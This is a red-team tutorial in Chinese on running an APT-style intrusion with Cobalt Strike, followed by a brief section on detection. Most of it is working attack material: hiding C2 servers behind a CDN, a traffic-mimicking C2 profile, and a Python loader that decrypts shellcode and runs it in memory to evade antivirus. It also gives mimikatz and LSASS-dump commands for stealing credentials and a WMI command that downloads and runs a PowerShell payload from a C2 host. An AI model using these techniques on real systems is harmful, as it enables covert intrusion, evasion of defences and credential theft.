一、从检测日志中反推攻击者的意图
在一次真实的渗透测试任务中,客户的安全运维团队发现了一些异常的网络行为:一台内网机器持续向外部域名发送流量,且流量特征呈现“低频小包,间歇性通信”的规律。通过对流量进行深度解析,发现这些通信是加密的 HTTPS 数据包,目标域名疑似用来搭建 C2(Command and Control)服务器。
假设我是攻击者,我会如何操作?
如果我是红队成员,针对这样的目标环境,我可能会选用一款高隐蔽性的 C2 框架,比如 Cobalt Strike(以下简称 CS)。这款工具不仅支持内存加载的免杀 Payload,还可以伪装流量,模拟合法通信,从而提高攻击隐蔽性。
本文将围绕 Cobalt Strike 的使用场景,以完整的攻击链条为核心,从搭建 C2 服务器到构造免杀 Payload,再到实现内网横向移动,分享红队如何利用 CS 进行一次 APT 级别的渗透测试。
---
二、构建隐秘的 Cobalt Strike 基础设施
为了提高隐蔽性,攻击者通常不会直接使用裸露的 C2 IP 地址。取而代之的是,通过域前置、CDN 中继或者动态 DNS等技术,隐藏真实的 C2 服务器。下面,根据真实案例,分析如何搭建一个隐秘的 Cobalt Strike 基础设施。
1. 域名选择与注册
攻击者会选择一系列看似正常的域名,比如与目标公司业务相关的域名,或与常见服务(如 Office365、GCP、AWS)伪装相似的域名。可以通过以下工具辅助选择:
- dnstwist:可以生成和目标域名相似的变种。
- Namecheap API:脚本化查询大量域名的注册情况。
<pre><code class="language-bash"># 使用 dnstwist 自动生成目标域名的变种 dnstwist --registered example.com</code></pre>
2. CDN 中继配置
使用 Cloudflare 或其他 CDN 服务作为流量中转节点,可以隐藏真实服务器 IP 地址。以下是配置 Cloudflare 的常规步骤:
- 在 Cloudflare 中添加攻击者控制的域名。
- 配置 DNS A 记录 指向真实的 C2 服务器 IP。
- 开启 “代理状态”(橙色云),使流量通过 Cloudflare 转发。
3. Cobalt Strike TeamServer 部署
在 VPS 上搭建 Cobalt Strike 的 TeamServer: <pre><code class="language-bash"># 部署 TeamServer 的基础命令 java -server -XX:+AggressiveHeap -Dcobaltstrike.server_port=50050 -jar teamserver 192.168.x.x password</code></pre>
为了进一步隐蔽流量,建议启用 HTTPS,并使用合法的 TLS 证书: <pre><code class="language-bash"># 使用 Let's Encrypt 生成免费证书 certbot certonly --standalone -d c2.example.com
将证书路径配置到 Cobalt Strike 的 HTTPS Profile 中</code></pre>
---
三、Payload 构造的艺术:免杀是关键
在现代防御体系中,EDR 和杀软对恶意程序的检测越来越严格。攻击者需要对 CS 生成的 Payload 进行定制化处理,实现免杀。以下是一些常见的免杀技巧和代码实现。
1. 修改 Beacon 配置文件
Cobalt Strike 支持通过 C2 Profile 自定义流量特征。以下是一个简单的 C2 Profile 示例: <pre><code class="language-plaintext">set sleeptime "3000"; set jitter "30"; set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
http-get { set uri "/path/to/resource"; set verb "GET"; client { header "User-Agent" "Mozilla/5.0"; header "Referer" "https://legit-website.com"; } server { header "Content-Type" "application/octet-stream"; output { base64; } } }</code></pre> 这段配置通过自定义 User-Agent 和 Referer,模拟主流浏览器的正常流量,同时使用 Base64 编码达到隐蔽效果。
2. 自定义 Shellcode Loader
CS 生成的默认 Payload 很容易被查杀,尤其是静态检测。因此,我们需要通过自定义 Shellcode Loader,将 Payload 加壳、混淆,提升免杀率。
以下是一个简单的 Python 示例,用于将 Payload 加密并进行内存加载: <pre><code class="language-python">import ctypes import base64
加密后的 Cobalt Strike shellcode
encrypted_shellcode = "encrypted_shellcode_here"
解密函数
def decrypt_shellcode(enc_shellcode): key = b"my_secret_key" return bytes(a ^ b for a, b in zip(enc_shellcode, key * len(enc_shellcode)))
内存加载并执行
def execute_shellcode(shellcode): shellcode = decrypt_shellcode(base64.b64decode(shellcode)) ptr = ctypes.windll.kernel32.VirtualAlloc( None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) thread_handle = ctypes.windll.kernel32.CreateThread( None, 0, ptr, None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(thread_handle, -1)
运行
execute_shellcode(encrypted_shellcode)</code></pre>
---
四、内网漫游:横向移动的策略
成功落地目标机器后,下一步是巩固控制权并横向扩展。CS 提供了多种横向移动的技术,比如凭据窃取、内存注入、WMI 执行等。

1. 凭据窃取
攻击者通常会优先窃取目标机器中存储的密码凭据。通过 CS 的 mimikatz 模块,可以直接读取内存中的明文密码: <pre><code class="language-plaintext">mimikatz sekurlsa::logonpasswords</code></pre>
此外,可以使用以下 PowerShell 脚本直接抓取 LSASS 的 dump 文件: <pre><code class="language-powershell"># 使用 PowerShell 抓取 LSASS dump rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump pid lsass.dmp full</code></pre>
2. 横向移动案例:WMI 执行
利用 WMI,在内网中远程执行命令: <pre><code class="language-plaintext">wmic /node:"target_ip" process call create "cmd.exe /c powershell -c IEX (New-Object Net.WebClient).DownloadString('http://c2.example.com/payload.ps1')"</code></pre>
---
五、防御视角的对抗思路
从防守的角度看,如何检测并阻断类似的攻击行为?以下是一些对抗思路:
1. 流量分析

通过流量分析工具(如 Zeek 或 Wireshark),捕获特征流量。例如,识别异常的 DNS 查询或非常规的 HTTPS 通信。
2. 加强终端防护
部署 EDR 工具,重点监控以下行为:
- 执行内存注入的进程(如 rundll32、powershell)。
- 异常网络通信(如低频小包流量)。
---
六、经验总结:红队者的成功哲学

- 环境定制是关键:攻击者定制化 Payload 和流量特征是免杀的关键,熟练掌握自定义 C2 Profile 是红队必修课。
- 渗透链条要闭环:从初始进入点到最终目标,攻击链条必须完整且高效,减少留痕。
- 对抗的艺术:红蓝对抗是一场永无止境的“猫鼠游戏”。作为红队,始终需要保持技术领先和思维创新。
无论是攻击者还是防御者,都需要意识到安全技术的动态性。在防御者不断进步的同时,红队也在不断寻找新的突破点。希望这篇文章能帮助读者更深入地理解 Cobalt Strike 的技术细节,也对攻防对抗有更深刻的认识。